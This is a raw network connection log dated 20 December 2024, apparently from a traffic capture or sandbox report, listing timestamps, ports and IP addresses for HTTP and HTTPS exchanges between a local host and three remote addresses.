Dec 20, 2024 13:12:28.028680086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.028722048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.029849052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.029884100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.029911041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.029937029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.030916929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.030977011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.031039953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.031090021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.032191038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.032906055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.032980919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.033356905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.033422947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.033499956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.033560991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.034878016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.034931898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.035131931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.035187960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.035774946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.035835981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.036422968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.036480904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.037533998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.037570953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.037595034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.037621975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.038608074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.038686991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.038959980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.039191008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.039391994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.039448023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.039520025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.039783955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.040189981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.040241003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.041142941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.041156054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.041201115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.041224003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.041560888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.041857958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.041913033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.041919947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.041968107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.043065071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.043277979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.043344021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.043962955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.044394970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.044452906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.044533968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.044584036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.044807911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.044859886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.045300007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.045351982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.046181917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.046212912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.046222925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.046235085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.046251059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.046273947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.047223091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.047271967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.047522068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.047672033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.048280001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.048625946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.048660040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.048677921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.049381018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.049679041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.049726963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.050389051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.050448895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.050482988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.050532103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.051501989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.051517010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.051563025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.052485943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.052537918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.052658081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.052711010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.053565979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.053693056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.053746939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.054614067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.054665089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.055315971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.055609941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.055669069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.055803061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.055855989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.056830883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.056843996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.056894064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.057800055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.057861090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.058151960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.058202028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.058823109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.058882952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.059283018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.059353113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.059808016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.060039997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.060240030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.060293913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.060911894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.061103106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.061158895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.061912060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.062232971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.062271118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.062338114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.062982082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.063021898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.063070059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.064089060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.064136982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.064258099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.064308882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.065087080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.065282106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.065334082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.066147089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.066200018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.066237926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.066282034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.067225933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.067275047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.067277908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.067327976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.068207979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.068267107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.068475962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.068525076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.069226027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.069298983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.069729090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.069777012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.070425987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.070523024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.070594072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.070638895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.071346998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.071397066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.071480989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.071528912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.072494030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.072544098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.072575092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.072632074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.073496103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.073558092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.073772907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.073821068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.074588060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.074646950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.074697018 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.075531006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.075581074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.075954914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.076661110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.076672077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.076713085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.077713013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.077763081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.077795982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.077846050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.078978062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.079029083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.079904079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.079952955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.217145920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.217645884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.217725992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.217880011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.217945099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.218064070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.218120098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.218728065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.218777895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.218816996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.218875885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.219661951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.219717026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.220310926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.220585108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.220630884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.220766068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.220822096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.221663952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.221719980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.222363949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.222413063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.222800016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.222811937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.222858906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.223855019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.223985910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.224251032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.224303961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.224800110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.224812031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.224853039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.225855112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.226005077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.226057053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.226936102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.227380037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.227431059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.228020906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.228282928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.228352070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.229024887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.229077101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.229130030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.229186058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.230055094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.230107069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.230174065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.230222940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.231188059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.231240988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.231292963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.231344938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.232378006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.232712030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.232767105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.233366013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.233418941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.233932972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.233989000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.234395027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.234442949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.234757900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.234806061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.235291958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.235338926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.235724926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.235774994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.236491919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.236793041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.236844063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.237488985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.237540960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.237638950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.237689972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.238492966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.238557100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.238884926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.238935947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.240082026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.240138054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.240190029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.240901947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.240912914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.240953922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.241770029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.241839886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.241892099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.242782116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.242854118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.242857933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.242903948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.243801117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.243856907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.244318962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.244817972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.244873047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.244941950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.244988918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.245807886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.245872974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.245878935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.245932102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.247304916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.247363091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.247883081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.247932911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.247936964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.247991085 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.248085022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.249483109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.249537945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.249988079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.250000954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.250005960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.250061035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.250989914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.251040936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.251194000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.251244068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.252157927 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.252351999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.252407074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.253242970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.253299952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.253474951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.253526926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.254312992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.254367113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.255614996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:28.255666971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:28.763122082 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:28.763209105 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:28.765790939 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:28.765811920 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:28.766140938 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:28.768502951 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:28.768821001 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:28.768881083 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:28.768974066 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:28.768987894 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:29.733597994 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:29.733742952 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:29.733858109 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:29.734071970 CET	49879	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:29.734114885 CET	443	49879	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:29.880809069 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:29.880858898 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:29.880986929 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:29.881297112 CET	49885	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:29.881314993 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:30.688152075 CET	49853	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:30.688451052 CET	49890	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:30.808610916 CET	80	49890	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:30.808727980 CET	80	49853	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:30.808733940 CET	49890	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:30.808782101 CET	49853	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:30.816170931 CET	49890	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:30.936197996 CET	80	49890	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:31.101315022 CET	443	49885	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:31.101432085 CET	49885	443	192.168.2.5	104.21.12.88
